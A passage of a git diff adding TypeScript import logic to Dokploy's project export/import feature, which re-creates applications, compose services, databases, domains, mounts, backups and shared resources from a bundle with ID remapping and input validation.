serverIpMap, + serviceServerMap, + serviceBuildServerMap, + }; + + const serviceInsertWarnings: Warning[] = []; + for (const service of snapshot.resources.services) { + const kind = service.kind as ServiceType; + const oldEnvironmentId = service.environmentId as string; + const newEnvironmentId = environmentIdMap[oldEnvironmentId]; + if (!newEnvironmentId) continue; + + if (kind === "application") { + const { oldId, newId, warnings } = await insertApplication( + ctx, + service, + newEnvironmentId, + ); + serviceIdMap.application[oldId] = newId; + serviceInsertWarnings.push(...warnings); + } else if (kind === "compose") { + const { oldId, newId, warnings } = await insertCompose( + ctx, + service, + newEnvironmentId, + ); + serviceIdMap.compose[oldId] = newId; + serviceInsertWarnings.push(...warnings); + } else if ((DB_SERVICE_KINDS as readonly string[]).includes(kind)) { + const { oldId, newId, warnings } = await insertDbService( + ctx, + kind as DbServiceKind, + service, + newEnvironmentId, + ); + serviceIdMap[kind][oldId] = newId; + serviceInsertWarnings.push(...warnings); + } + } + + const newEnvironmentIds = [...new Set(Object.values(environmentIdMap))]; + await applyVaultAssignments( + tx, + snapshot, + idMaps, + projectId, + newEnvironmentIds, + ); + + const { rotations, warnings: rotationWarnings } = await applyRotation( + tx, + snapshot, + serviceIdMap, + plan.rotateDatabaseCredentials, + { + projectId: plan.target.kind === "newProject" ? projectId : null, + environmentIds: newEnvironmentIds, + }, + ); + + const idMap: Record> = { + project: { [snapshot.resources.project.projectId as string]: projectId }, + environment: environmentIdMap, + destination: idMaps.destination, + registry: idMaps.registry, + sshKey: idMaps.sshKey, + network: idMaps.network, + certificate: idMaps.certificate, + vaultProvider: idMaps.vaultProvider, + ...serviceIdMap, + }; + + const pendingRequirements = Object.entries(plan.resolutions) + .filter(([, resolution]) => resolution.action === "skip") + .map(([key]) => key); + + return transferResultSchema.parse({ + idMap, + appNameMap: plan.appNameMap, + pendingRequirements, + pendingServices: plan.pendingServices, + rotations, + restoreErrors: [], + warnings: [ + ...plan.warnings, + ...rotationWarnings, + ...serviceInsertWarnings, + ], + }); + }); +}; diff --git a/packages/server/src/services/project-export-import/apply/children.ts b/packages/server/src/services/project-export-import/apply/children.ts new file mode 100644 index 000000000..7782bbaee --- /dev/null +++ b/packages/server/src/services/project-export-import/apply/children.ts @@ -0,0 +1,272 @@ +import { + backups, + domains, + mounts, + ports, + redirects, + schedules, + security, + volumeBackups, +} from "@dokploy/server/db/schema"; +import { VOLUME_NAME_REGEX } from "@dokploy/server/db/schema/utils"; +import { + finalDomainHost, + regenerateAppName, + rewriteVolumeName, +} from "../appname"; +import { isUnsafeBundlePath } from "../deserialize"; +import type { TransferTx } from "../queries"; +import { restoreSecretFields } from "../secret-fields"; +import type { ConflictResolution, DomainStrategy } from "../types"; +import { conflictKey } from "../types"; + +const MAX_BACKUP_APPNAME_RETRIES = 5; + +const ensureUniqueBackupAppName = async ( + tx: TransferTx, + oldAppName: string, +): Promise => { + let candidate = regenerateAppName("backup", oldAppName); + for (let i = 0; i < MAX_BACKUP_APPNAME_RETRIES; i++) { + const existing = await tx.query.backups.findFirst({ + where: (fields, { eq }) => eq(fields.appName, candidate), + }); + if (!existing) { + return candidate; + } + candidate = regenerateAppName("backup", oldAppName); + } + throw new Error( + `Could not generate a unique appName for a backup after ${MAX_BACKUP_APPNAME_RETRIES} attempts`, + ); +}; + +type ParentRef = { + applicationId?: string; + composeId?: string; + postgresId?: string; + mysqlId?: string; + mariadbId?: string; + mongoId?: string; + redisId?: string; + libsqlId?: string; +}; + +export const insertDomains = async ( + tx: TransferTx, + rows: Record[], + parent: ParentRef, + appNameMap: Record, + domainStrategy: DomainStrategy, + conflictResolutions: Record, + destinationIp: string | null = null, +): Promise => { + for (const row of rows) { + const strategized = finalDomainHost( + row.host as string, + appNameMap, + destinationIp, + domainStrategy, + (row.enabled as boolean | undefined) ?? true, + ); + const resolution = + conflictResolutions[ + conflictKey({ kind: "domain", value: strategized.host }) + ]; + const host = + resolution?.action === "rename" && resolution.value + ? resolution.value.trim() + : strategized.host; + const enabled = resolution?.action === "skip" ? false : strategized.enabled; + await tx.insert(domains).values({ + ...row, + domainId: undefined, + host, + enabled, + ...parent, + previewDeploymentId: null, + } as unknown as typeof domains.$inferInsert); + } +}; + +export const insertMounts = async ( + tx: TransferTx, + rows: Record[], + parent: ParentRef, + appNameMap: Record, + secretsPlain: Map, +): Promise => { + for (const row of rows) { + for (const field of ["filePath", "hostPath"]) { + const value = row[field]; + if (typeof value === "string" && value && isUnsafeBundlePath(value)) { + throw new Error(`Unsafe mount ${field} in bundle: "${value}"`); + } + } + const restored = restoreSecretFields("mount", row, secretsPlain); + const volumeName = + typeof row.volumeName === "string" + ? rewriteVolumeName(row.volumeName, appNameMap).value + : row.volumeName; + if ( + row.type === "volume" && + typeof volumeName === "string" && + volumeName && + !VOLUME_NAME_REGEX.test(volumeName) + ) { + throw new Error(`Invalid volume name in bundle: "${volumeName}"`); + } + await tx.insert(mounts).values({ + ...restored, + mountId: undefined, + volumeName, + ...parent, + } as unknown as typeof mounts.$inferInsert); + } +}; + +export const insertPorts = async ( + tx: TransferTx, + rows: Record[], + applicationId: string, + portsStrategy: "keep" | "disable" = "keep", + conflictResolutions: Record = {}, +): Promise => { + if (portsStrategy === "disable") return; + for (const row of rows) { + const resolution = + conflictResolutions[ + conflictKey({ kind: "port", value: String(row.publishedPort) }) + ]; + if (resolution?.action === "skip") continue; + const publishedPort = + resolution?.action === "rename" && resolution.value + ? Number.parseInt(resolution.value, 10) + : row.publishedPort; + if ( + typeof publishedPort !== "number" || + publishedPort < 1 || + publishedPort > 65535 + ) { + throw new Error(`Invalid published port: ${String(publishedPort)}`); + } + await tx.insert(ports).values({ + ...row, + portId: undefined, + publishedPort, + applicationId, + } as unknown as typeof ports.$inferInsert); + } +}; + +export const insertRedirects = async ( + tx: TransferTx, + rows: Record[], + applicationId: string, +): Promise => { + for (const row of rows) { + await tx.insert(redirects).values({ + ...row, + redirectId: undefined, + applicationId, + } as unknown as typeof redirects.$inferInsert); + } +}; + +export const insertSecurity = async ( + tx: TransferTx, + rows: Record[], + applicationId: string, + secretsPlain: Map, +): Promise => { + for (const row of rows) { + const restored = restoreSecretFields("security", row, secretsPlain); + await tx.insert(security).values({ + ...restored, + securityId: undefined, + applicationId, + } as unknown as typeof security.$inferInsert); + } +}; + +export const insertBackups = async ( + tx: TransferTx, + rows: Record[], + parent: ParentRef, + destinationIdMap: Record, + secretsPlain: Map, +): Promise<{ skipped: number }> => { + let skipped = 0; + for (const row of rows) { + const oldDestinationId = row.destinationId as string; + const destinationId = destinationIdMap[oldDestinationId]; + if (!destinationId) { + skipped++; + continue; + } + const restored = restoreSecretFields("backup", row, secretsPlain); + const appName = await ensureUniqueBackupAppName( + tx, + restored.appName as string, + ); + await tx.insert(backups).values({ + ...restored, + backupId: undefined, + appName, + destinationId, + ...parent, + } as unknown as typeof backups.$inferInsert); + } + return { skipped }; +}; + +export const insertVolumeBackups = async ( + tx: TransferTx, + rows: Record[], + parent: ParentRef, + destinationIdMap: Record, + appNameMap: Record, +): Promise<{ skipped: number }> => { + let skipped = 0; + for (const row of rows) { + const oldDestinationId = row.destinationId as string; + const destinationId = destinationIdMap[oldDestinationId]; + if (!destinationId) { + skipped++; + continue; + } + const volumeName = + typeof row.volumeName === "string" + ? rewriteVolumeName(row.volumeName, appNameMap).value + : row.volumeName; + if (typeof volumeName !== "string" || !VOLUME_NAME_REGEX.test(volumeName)) { + throw new Error(`Invalid volume name in bundle: "${String(volumeName)}"`); + } + await tx.insert(volumeBackups).values({ + ...row, + volumeBackupId: undefined, + destinationId, + volumeName, + ...parent, + } as unknown as typeof volumeBackups.$inferInsert); + } + return { skipped }; +}; + +export const insertSchedules = async ( + tx: TransferTx, + rows: Record[], + parent: ParentRef, + organizationId: string, + serverId: string | null, +): Promise => { + for (const row of rows) { + await tx.insert(schedules).values({ + ...row, + scheduleId: undefined, + organizationId, + serverId, + ...parent, + } as unknown as typeof schedules.$inferInsert); + } +}; diff --git a/packages/server/src/services/project-export-import/apply/services.ts b/packages/server/src/services/project-export-import/apply/services.ts new file mode 100644 index 000000000..9cf7b8573 --- /dev/null +++ b/packages/server/src/services/project-export-import/apply/services.ts @@ -0,0 +1,528 @@ +import { + applications, + compose, + gitProvider, + libsql, + mariadb, + mongo, + mysql, + postgres, + redis, +} from "@dokploy/server/db/schema"; +import { generateRandomHash } from "@dokploy/server/utils/docker/compose"; +import { eq } from "drizzle-orm"; +import { replaceAppNames } from "../appname"; +import type { TransferTx } from "../queries"; +import { restoreSecretFields } from "../secret-fields"; +import { buildUsedBy, SERVICE_ID_FIELD } from "../service-kinds"; +import type { + ConflictResolution, + Plan, + ServiceType, + Snapshot, + Warning, +} from "../types"; +import { + insertBackups, + insertDomains, + insertMounts, + insertPorts, + insertRedirects, + insertSchedules, + insertSecurity, + insertVolumeBackups, +} from "./children"; +import type { SharedIdMaps } from "./shared"; + +const rewriteVaultNames = ( + env: string, + vaultNameMap: Record, +): string => { + let result = env; + for (const [oldName, newName] of Object.entries(vaultNameMap)) { + if (oldName === newName) continue; + result = result + .split(`\${{vault.${oldName}.`) + .join(`\${{vault.${newName}.`); + } + return result; +}; + +const CHILD_ARRAY_KEYS = [ + "domains", + "mounts", + "ports", + "redirects", + "security", + "schedules", + "volumeBackups", + "backups", +]; + +const remapCommonFields = ( + ctx: ApplyServicesContext, + row: Record, + oldId: string, + kind: ServiceType, + newEnvironmentId: string, +): { row: Record; networkIdsSkipped: number } => { + const { plan, idMaps, secretsPlain, vaultNameMap, serviceServerMap } = ctx; + const oldAppName = row.appName as string | undefined; + const oldServerId = serviceServerMap.get(oldId) ?? null; + const restored = restoreSecretFields(kind, row, secretsPlain); + delete restored.kind; + for (const key of CHILD_ARRAY_KEYS) { + delete restored[key]; + } + if (typeof restored.env === "string") { + restored.env = rewriteVaultNames( + replaceAppNames(restored.env, plan.appNameMap), + vaultNameMap, + ); + } + const oldNetworkIds = (row.networkIds as string[] | null) ?? []; + const networkIds = oldNetworkIds + .map((id) => idMaps.network[id]) + .filter((id): id is string => Boolean(id)); + + return { + row: { + ...restored, + environmentId: newEnvironmentId, + serverId: plan.serverMap[oldServerId ?? "null"] ?? null, + appName: oldAppName + ? (plan.appNameMap[oldAppName] ?? oldAppName) + : oldAppName, + networkIds, + }, + networkIdsSkipped: oldNetworkIds.length - networkIds.length, + }; +}; + +const skipWarning = ( + skipped: number, + code: Warning["code"], + message: (name: string) => string, + serviceType: ServiceType, + serviceId: string, + row: Record, + environmentId: string, +): Warning[] => { + if (skipped === 0) return []; + const usedBy = buildUsedBy(environmentId, serviceType, row, serviceId); + return [ + { + code, + severity: "warning", + message: message(usedBy.serviceName), + affected: [usedBy], + }, + ]; +}; + +const buildBackupSkipWarning = ( + skipped: number, + serviceType: ServiceType, + serviceId: string, + row: Record, + environmentId: string, +): Warning[] => + skipWarning( + skipped, + "BACKUP_DESTINATION_UNRESOLVED", + (name) => + `${skipped} backup/volume backup entr${skipped === 1 ? "y" : "ies"} for "${name}" were dropped; their destination was never resolved.`, + serviceType, + serviceId, + row, + environmentId, + ); + +const buildNetworkSkipWarning = ( + skipped: number, + serviceType: ServiceType, + serviceId: string, + row: Record, + environmentId: string, +): Warning[] => + skipWarning( + skipped, + "NETWORK_UNRESOLVED", + (name) => + `${skipped} network attachment${skipped === 1 ? "" : "s"} for "${name}" ${skipped === 1 ? "was" : "were"} dropped; its network was never resolved.`, + serviceType, + serviceId, + row, + environmentId, + ); + +const GIT_PROVIDER_SUB_TABLE: Record< + "github" | "gitlab" | "gitea" | "bitbucket", + { query: "github" | "gitlab" | "gitea" | "bitbucket"; idField: string } +> = { + github: { query: "github", idField: "githubId" }, + gitlab: { query: "gitlab", idField: "gitlabId" }, + gitea: { query: "gitea", idField: "giteaId" }, + bitbucket: { query: "bitbucket", idField: "bitbucketId" }, +}; + +const resolveGitProviderFks = async ( + tx: TransferTx, + snapshot: Snapshot, + plan: Plan, + serviceId: string, + organizationId: string, +): Promise> => { + const fks: Record = {}; + for (const requirement of snapshot.requirements) { + if (requirement.kind !== "gitProvider") continue; + if (!requirement.usedBy.some((u) => u.serviceId === serviceId)) continue; + const resolution = + plan.resolutions[`gitProvider:${requirement.originalId ?? "null"}`]; + if (resolution?.action !== "reuse" || !resolution.targetId) continue; + const gitProviderRow = await tx.query.gitProvider.findFirst({ + where: eq(gitProvider.gitProviderId, resolution.targetId), + columns: { organizationId: true }, + }); + if (!gitProviderRow || gitProviderRow.organizationId !== organizationId) { + throw new Error( + `Cannot reuse gitProvider "${resolution.targetId}": not found in this organization`, + ); + } + const table = GIT_PROVIDER_SUB_TABLE[requirement.providerType]; + const row = await ( + tx.query[table.query] as { + findFirst: ( + args: unknown, + ) => Promise | undefined>; + } + ).findFirst({ + where: ( + fields: Record, + { eq }: { eq: (a: unknown, b: unknown) => unknown }, + ) => eq(fields.gitProviderId, resolution.targetId), + }); + if (row) { + fks[table.idField] = row[table.idField] as string; + } + } + return fks; +}; + +export type ApplyServicesContext = { + tx: TransferTx; + snapshot: Snapshot; + plan: Plan; + idMaps: SharedIdMaps; + secretsPlain: Map; + vaultNameMap: Record; + conflictResolutions: Record; + organizationId: string; + serverIpMap: Record; + serviceServerMap: Map; + serviceBuildServerMap: Map; +}; + +export const insertApplication = async ( + ctx: ApplyServicesContext, + row: Record, + newEnvironmentId: string, +): Promise<{ oldId: string; newId: string; warnings: Warning[] }> => { + const { tx, plan, idMaps, secretsPlain, vaultNameMap, snapshot } = ctx; + const oldId = row.applicationId as string; + const { row: common, networkIdsSkipped } = remapCommonFields( + ctx, + row, + oldId, + "application", + newEnvironmentId, + ); + const gitProviderFks = await resolveGitProviderFks( + tx, + snapshot, + plan, + oldId, + ctx.organizationId, + ); + const oldBuildServerId = ctx.serviceBuildServerMap.get(oldId) ?? null; + const buildServerId = oldBuildServerId + ? (plan.serverMap[oldBuildServerId] ?? null) + : null; + + const [inserted] = await tx + .insert(applications) + .values({ + ...common, + applicationId: undefined, + registryId: common.registryId + ? (idMaps.registry[common.registryId as string] ?? null) + : null, + buildRegistryId: common.buildRegistryId + ? (idMaps.registry[common.buildRegistryId as string] ?? null) + : null, + rollbackRegistryId: common.rollbackRegistryId + ? (idMaps.registry[common.rollbackRegistryId as string] ?? null) + : null, + customGitSSHKeyId: common.customGitSSHKeyId + ? (idMaps.sshKey[common.customGitSSHKeyId as string] ?? null) + : null, + buildServerId, + ...gitProviderFks, + } as unknown as typeof applications.$inferInsert) + .returning(); + + if (!inserted) { + throw new Error(`Failed to insert application ${oldId}`); + } + const newId = inserted.applicationId; + const parent = { applicationId: newId }; + + await insertDomains( + tx, + (row.domains as Record[]) ?? [], + parent, + plan.appNameMap, + plan.domainStrategy, + ctx.conflictResolutions, + ctx.serverIpMap[(common.serverId as string | null) ?? "local"] ?? null, + ); + await insertMounts( + tx, + (row.mounts as Record[]) ?? [], + parent, + plan.appNameMap, + secretsPlain, + ); + await insertPorts( + tx, + (row.ports as Record[]) ?? [], + newId, + plan.portsStrategy, + ctx.conflictResolutions, + ); + await insertRedirects( + tx, + (row.redirects as Record[]) ?? [], + newId, + ); + await insertSecurity( + tx, + (row.security as Record[]) ?? [], + newId, + secretsPlain, + ); + await insertSchedules( + tx, + (row.schedules as Record[]) ?? [], + parent, + ctx.organizationId, + (common.serverId as string | null) ?? null, + ); + const { skipped: volumeBackupsSkipped } = await insertVolumeBackups( + tx, + (row.volumeBackups as Record[]) ?? [], + parent, + ctx.idMaps.destination, + plan.appNameMap, + ); + + return { + oldId, + newId, + warnings: [ + ...buildBackupSkipWarning( + volumeBackupsSkipped, + "application", + newId, + row, + newEnvironmentId, + ), + ...buildNetworkSkipWarning( + networkIdsSkipped, + "application", + newId, + row, + newEnvironmentId, + ), + ], + }; +}; + +export const insertCompose = async ( + ctx: ApplyServicesContext, + row: Record, + newEnvironmentId: string, +): Promise<{ oldId: string; newId: string; warnings: Warning[] }> => { + const { tx, plan, idMaps, secretsPlain, vaultNameMap, snapshot } = ctx; + const oldId = row.composeId as string; + const { row: common } = remapCommonFields( + ctx, + row, + oldId, + "compose", + newEnvironmentId, + ); + const gitProviderFks = await resolveGitProviderFks( + tx, + snapshot, + plan, + oldId, + ctx.organizationId, + ); + + const [inserted] = await tx + .insert(compose) + .values({ + ...common, + composeId: undefined, + customGitSSHKeyId: common.customGitSSHKeyId + ? (idMaps.sshKey[common.customGitSSHKeyId as string] ?? null) + : null, + suffix: common.suffix ? generateRandomHash() : common.suffix, + ...gitProviderFks, + } as unknown as typeof compose.$inferInsert) + .returning(); + + if (!inserted) { + throw new Error(`Failed to insert compose ${oldId}`); + } + const newId = inserted.composeId; + const parent = { composeId: newId }; + + await insertDomains( + tx, + (row.domains as Record[]) ?? [], + parent, + plan.appNameMap, + plan.domainStrategy, + ctx.conflictResolutions, + ctx.serverIpMap[(common.serverId as string | null) ?? "local"] ?? null, + ); + await insertMounts( + tx, + (row.mounts as Record[]) ?? [], + parent, + plan.appNameMap, + secretsPlain, + ); + const { skipped: backupsSkipped } = await insertBackups( + tx, + (row.backups as Record[]) ?? [], + parent, + ctx.idMaps.destination, + secretsPlain, + ); + await insertSchedules( + tx, + (row.schedules as Record[]) ?? [], + parent, + ctx.organizationId, + (common.serverId as string | null) ?? null, + ); + const { skipped: volumeBackupsSkipped } = await insertVolumeBackups( + tx, + (row.volumeBackups as Record[]) ?? [], + parent, + ctx.idMaps.destination, + plan.appNameMap, + ); + + return { + oldId, + newId, + warnings: buildBackupSkipWarning( + backupsSkipped + volumeBackupsSkipped, + "compose", + newId, + row, + newEnvironmentId, + ), + }; +}; + +const DB_TABLES = { + postgres: { table: postgres, hasBackups: true }, + mysql: { table: mysql, hasBackups: true }, + mariadb: { table: mariadb, hasBackups: true }, + mongo: { table: mongo, hasBackups: true }, + redis: { table: redis, hasBackups: false }, + libsql: { table: libsql, hasBackups: true }, +} as const; + +export type DbServiceKind = keyof typeof DB_TABLES; +export const DB_SERVICE_KINDS = Object.keys(DB_TABLES) as DbServiceKind[]; + +export const insertDbService = async ( + ctx: ApplyServicesContext, + kind: DbServiceKind, + row: Record, + newEnvironmentId: string, +): Promise<{ oldId: string; newId: string; warnings: Warning[] }> => { + const { tx, plan, idMaps, secretsPlain, vaultNameMap } = ctx; + const idField = SERVICE_ID_FIELD[kind]; + const oldId = row[idField] as string; + const { row: common, networkIdsSkipped } = remapCommonFields( + ctx, + row, + oldId, + kind, + newEnvironmentId, + ); + const { table, hasBackups } = DB_TABLES[kind]; + + const [inserted] = await tx + .insert(table) + .values({ ...common, [idField]: undefined } as never) + .returning(); + if (!inserted) { + throw new Error(`Failed to insert ${kind} ${oldId}`); + } + const newId = (inserted as Record)[idField] as string; + const parent = { [idField]: newId }; + + await insertMounts( + tx, + (row.mounts as Record[]) ?? [], + parent, + plan.appNameMap, + secretsPlain, + ); + const { skipped: volumeBackupsSkipped } = await insertVolumeBackups( + tx, + (row.volumeBackups as Record[]) ?? [], + parent, + ctx.idMaps.destination, + plan.appNameMap, + ); + let backupsSkipped = 0; + if (hasBackups) { + ({ skipped: backupsSkipped } = await insertBackups( + tx, + (row.backups as Record[]) ?? [], + parent, + ctx.idMaps.destination, + secretsPlain, + )); + } + + return { + oldId, + newId, + warnings: [ + ...buildBackupSkipWarning( + volumeBackupsSkipped + backupsSkipped, + kind, + newId, + row, + newEnvironmentId, + ), + ...buildNetworkSkipWarning( + networkIdsSkipped, + kind, + newId, + row, + newEnvironmentId, + ), + ], + }; +}; diff --git a/packages/server/src/services/project-export-import/apply/shared.ts b/packages/server/src/services/project-export-import/apply/shared.ts new file mode 100644 index 000000000..70549a27f --- /dev/null +++ b/packages/server/src/services/project-export-import/apply/shared.ts @@ -0,0 +1,345 @@ +import { + certificates, + destinations, + dnsProvider, + network, + registry, + sshKeys, + vaultProvider, +} from "@dokploy/server/db/schema"; +import { ADDITIONAL_FLAG_REGEX } from "@dokploy/server/db/validations/destination"; +import { eq } from "drizzle-orm"; +import { conflictResolutionsOf } from "../conflicts"; +import type { TransferTx } from "../queries"; +import { LOCAL_SERVER_CANDIDATE_ID, requirementKey } from "../resolve"; +import { restoreSecretFields } from "../secret-fields"; +import type { Plan, Requirement, Snapshot } from "../types"; +import { conflictKey } from "../types"; + +export type SharedIdMaps = { + destination: Record; + registry: Record; + sshKey: Record; + network: Record; + certificate: Record; + vaultProvider: Record; +}; + +const emptySharedIdMaps = (): SharedIdMaps => ({ + destination: {}, + registry: {}, + sshKey: {}, + network: {}, + certificate: {}, + vaultProvider: {}, +}); + +const serverOf = (row: Record, plan: Plan) => ({ + serverId: plan.serverMap[(row.serverId as string | null) ?? "null"] ?? null, +}); + +type SharedInsertSpec = { + idField: string; + table: typeof registry; + secretKind: Parameters[0]; + mapKey: keyof SharedIdMaps; + extra?: (row: Record, plan: Plan) => Record; +}; + +const SHARED_INSERTS: Partial> = { + vault: { + idField: "vaultProviderId", + table: vaultProvider as unknown as typeof registry, + secretKind: "vaultProvider", + mapKey: "vaultProvider", + extra: () => ({ assignments: [] }), + }, + destination: { + idField: "destinationId", + table: destinations as unknown as typeof registry, + secretKind: "destination", + mapKey: "destination", + }, + registry: { + idField: "registryId", + table: registry, + secretKind: "registry", + mapKey: "registry", + }, + sshKey: { + idField: "sshKeyId", + table: sshKeys as unknown as typeof registry, + secretKind: "sshKey", + mapKey: "sshKey", + }, + certificate: { + idField: "certificateId", + table: certificates as unknown as typeof registry, + secretKind: "certificate", + mapKey: "certificate", + extra: (row: Record, plan: Plan) => ({ + certificatePath: undefined, + ...serverOf(row, plan), + }), + }, +}; + +const findSharedRow = ( + snapshot: Snapshot, + requirement: Requirement, + idField: string, +): Record | undefined => + (snapshot.resources.shared[requirement.kind] ?? []).find( + (row) => row[idField] === requirement.originalId, + ); + +const REUSE_ORG_LOOKUP: Partial< + Record< + Requirement["kind"], + ( + tx: TransferTx, + targetId: string, + ) => Promise<{ organizationId: string } | undefined> + > +> = { + vault: (tx, id) => + tx.query.vaultProvider.findFirst({ + where: (fields, { eq }) => eq(fields.vaultProviderId, id), + columns: { organizationId: true }, + }), + destination: (tx, id) => + tx.query.destinations.findFirst({ + where: (fields, { eq }) => eq(fields.destinationId, id), + columns: { organizationId: true }, + }), + registry: (tx, id) => + tx.query.registry.findFirst({ + where: (fields, { eq }) => eq(fields.registryId, id), + columns: { organizationId: true }, + }), + sshKey: (tx, id) => + tx.query.sshKeys.findFirst({ + where: (fields, { eq }) => eq(fields.sshKeyId, id), + columns: { organizationId: true }, + }), + network: (tx, id) => + tx.query.network.findFirst({ + where: (fields, { eq }) => eq(fields.networkId, id), + columns: { organizationId: true }, + }), + certificate: (tx, id) => + tx.query.certificates.findFirst({ + where: (fields, { eq }) => eq(fields.certificateId, id), + columns: { organizationId: true }, + }), + server: (tx, id) => + tx.query.server.findFirst({ + where: (fields, { eq }) => eq(fields.serverId, id), + columns: { organizationId: true }, + }), +}; + +const assertReuseTargetInOrg = async ( + tx: TransferTx, + requirement: Requirement, + targetId: string, + organizationId: string, +): Promise => { + if (requirement.kind === "server" && targetId === LOCAL_SERVER_CANDIDATE_ID) { + return; + } + const lookup = REUSE_ORG_LOOKUP[requirement.kind]; + if (!lookup) return; + const target = await lookup(tx, targetId); + if (!target || target.organizationId !== organizationId) { + throw new Error( + `Cannot reuse ${requirement.kind} "${targetId}": not found in this organization`, + ); + } +}; + +export const insertSharedByValue = async ( + tx: TransferTx, + snapshot: Snapshot, + plan: Plan, + secretsPlain: Map, + organizationId: string, +): Promise<{ idMaps: SharedIdMaps; vaultNameMap: Record }> => { + const idMaps = emptySharedIdMaps(); + const vaultNameMap: Record = {}; + const conflictResolutions = conflictResolutionsOf(plan); + + for (const requirement of snapshot.requirements) { + const resolution = plan.resolutions[requirementKey(requirement)]; + if (!resolution) continue; + + if (resolution.action === "reuse" && resolution.targetId) { + await assertReuseTargetInOrg( + tx, + requirement, + resolution.targetId, + organizationId, + ); + if (requirement.originalId) { + setResolvedId( + idMaps, + requirement.kind, + requirement.originalId, + resolution.targetId, + ); + } + if (requirement.kind === "vault") { + const row = await tx.query.vaultProvider.findFirst({ + where: (fields, { eq }) => + eq(fields.vaultProviderId, resolution.targetId as string), + }); + if (row) { + vaultNameMap[requirement.providerName] = row.name; + } + } + continue; + } + + if (resolution.action !== "create" || !requirement.originalId) continue; + + if (requirement.kind === "network") { + const row = findSharedRow(snapshot, requirement, "networkId"); + if (!row) continue; + const key = conflictKey({ kind: "network", value: requirement.name }); + const resolution = conflictResolutions[key]; + if (resolution?.action === "skip") continue; + if (resolution?.action === "keep") { + const existing = plan.conflicts.find( + (conflict) => conflictKey(conflict) === key, + ); + if (existing) { + idMaps.network[requirement.originalId] = existing.existingId; + continue; + } + } + const oldServerId = (row.serverId as string | null) ?? null; + const [inserted] = await tx + .insert(network) + .values({ + ...row, + networkId: undefined, + name: + resolution?.action === "rename" && resolution.value + ? resolution.value.trim() + : row.name, + organizationId, + serverId: plan.serverMap[oldServerId ?? "null"] ?? null, + } as unknown as typeof network.$inferInsert) + .returning(); + if (inserted) { + idMaps.network[requirement.originalId] = inserted.networkId; + } + continue; + } + + const spec = SHARED_INSERTS[requirement.kind]; + if (!spec) continue; + const row = findSharedRow(snapshot, requirement, spec.idField); + if (!row) continue; + if (requirement.kind === "destination") { + const flags = (row.additionalFlags as unknown[] | null) ?? []; + if ( + flags.some( + (flag) => + typeof flag !== "string" || !ADDITIONAL_FLAG_REGEX.test(flag), + ) + ) { + throw new Error( + `Destination "${row.name}" in the bundle has invalid additional rclone flags`, + ); + } + } + const restored = restoreSecretFields(spec.secretKind, row, secretsPlain); + const [inserted] = await tx + .insert(spec.table) + .values({ + ...restored, + [spec.idField]: undefined, + organizationId, + ...spec.extra?.(row, plan), + } as unknown as typeof registry.$inferInsert) + .returning(); + if (!inserted) continue; + const newId = (inserted as Record)[spec.idField] as string; + idMaps[spec.mapKey][requirement.originalId] = newId; + if (requirement.kind === "vault") { + vaultNameMap[requirement.providerName] = ( + inserted as Record + ).name as string; + } + } + + for (const row of snapshot.resources.shared.dnsProvider ?? []) { + const name = row.name as string; + const existing = await tx.query.dnsProvider.findFirst({ + where: (fields, { and, eq }) => + and(eq(fields.organizationId, organizationId), eq(fields.name, name)), + }); + if (existing) continue; + const restored = restoreSecretFields("dnsProvider", row, secretsPlain); + await tx.insert(dnsProvider).values({ + ...restored, + dnsProviderId: undefined, + organizationId, + } as unknown as typeof dnsProvider.$inferInsert); + } + + return { idMaps, vaultNameMap }; +}; + +const SHARED_MAP_KEY: Partial> = + { + vault: "vaultProvider", + destination: "destination", + registry: "registry", + sshKey: "sshKey", + network: "network", + certificate: "certificate", + }; + +const setResolvedId = ( + idMaps: SharedIdMaps, + kind: Requirement["kind"], + originalId: string, + targetId: string, +) => { + const mapKey = SHARED_MAP_KEY[kind]; + if (mapKey) idMaps[mapKey][originalId] = targetId; +}; + +export const applyVaultAssignments = async ( + tx: TransferTx, + snapshot: Snapshot, + idMaps: SharedIdMaps, + newProjectId: string, + newEnvironmentIds: string[], +): Promise => { + const vaultOriginalIds = new Set( + snapshot.requirements + .filter((r) => r.kind === "vault" && r.originalId) + .map((r) => r.originalId as string), + ); + for (const originalId of vaultOriginalIds) { + const vaultProviderId = idMaps.vaultProvider[originalId]; + if (!vaultProviderId) continue; + const row = await tx.query.vaultProvider.findFirst({ + where: (fields, { eq }) => eq(fields.vaultProviderId, vaultProviderId), + }); + if (!row) continue; + const assignments = Array.isArray(row.assignments) ? row.assignments : []; + await tx + .update(vaultProvider) + .set({ + assignments: [ + ...assignments, + { projectId: newProjectId, environmentIds: newEnvironmentIds }, + ], + }) + .where(eq(vaultProvider.vaultProviderId, vaultProviderId)); + } +}; diff --git a/packages/server/src/services/project-export-import/appname.ts b/packages/server/src/services/project-export-import/appname.ts new file mode 100644 index 000000000..5519651f3 --- /dev/null +++ b/packages/server/src/services/project-export-import/appname.ts @@ -0,0 +1,83 @@ +import { buildAppName } from "@dokploy/server/db/schema/utils"; +import type { DomainStrategy } from "./types"; + +const sanitizeAppNameChars = (value: string): string => + value.replace(/[^a-zA-Z0-9._-]/g, "-"); + +export const regenerateAppName = (type: string, oldAppName: string): string => { + const safeOldAppName = sanitizeAppNameChars(oldAppName); + const lastHyphen = safeOldAppName.lastIndexOf("-"); + const base = + lastHyphen === -1 ? safeOldAppName : safeOldAppName.slice(0, lastHyphen); + return buildAppName(type, base); +}; + +const escapeRegExp = (value: string) => + value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + +const APPNAME_CHAR_CLASS = "[a-zA-Z0-9._-]"; + +export const replaceAppNames = ( + text: string, + appNameMap: Record, +): string => { + const keys = Object.keys(appNameMap).sort((a, b) => b.length - a.length); + if (!text || keys.length === 0) { + return text; + } + const pattern = new RegExp( + `(? appNameMap[match] ?? match); +}; + +const SSLIP_IO_IP_SUFFIX = /-(\d{1,3}(?:-\d{1,3}){3})\.sslip\.io$/; + +export const rewriteSslipIoIp = ( + host: string, + destinationIp: string | null, +): string => { + if (!destinationIp) return host; + if (!SSLIP_IO_IP_SUFFIX.test(host)) return host; + const slugIp = destinationIp.replaceAll(".", "-").replaceAll(":", "-"); + return host.replace(SSLIP_IO_IP_SUFFIX, `-${slugIp}.sslip.io`); +}; + +export const rewriteVolumeName = ( + volumeName: string, + appNameMap: Record, +): { value: string; rewritten: boolean } => { + const value = replaceAppNames(volumeName, appNameMap); + return { value, rewritten: value !== volumeName }; +}; + +const applyDomainStrategy = ( + host: string, + strategy: DomainStrategy, + sourceEnabled: boolean, +): { host: string; enabled: boolean } => { + switch (strategy.custom) { + case "keep": + return { host, enabled: sourceEnabled }; + case "prefix": + return { host: `${strategy.value}${host}`, enabled: 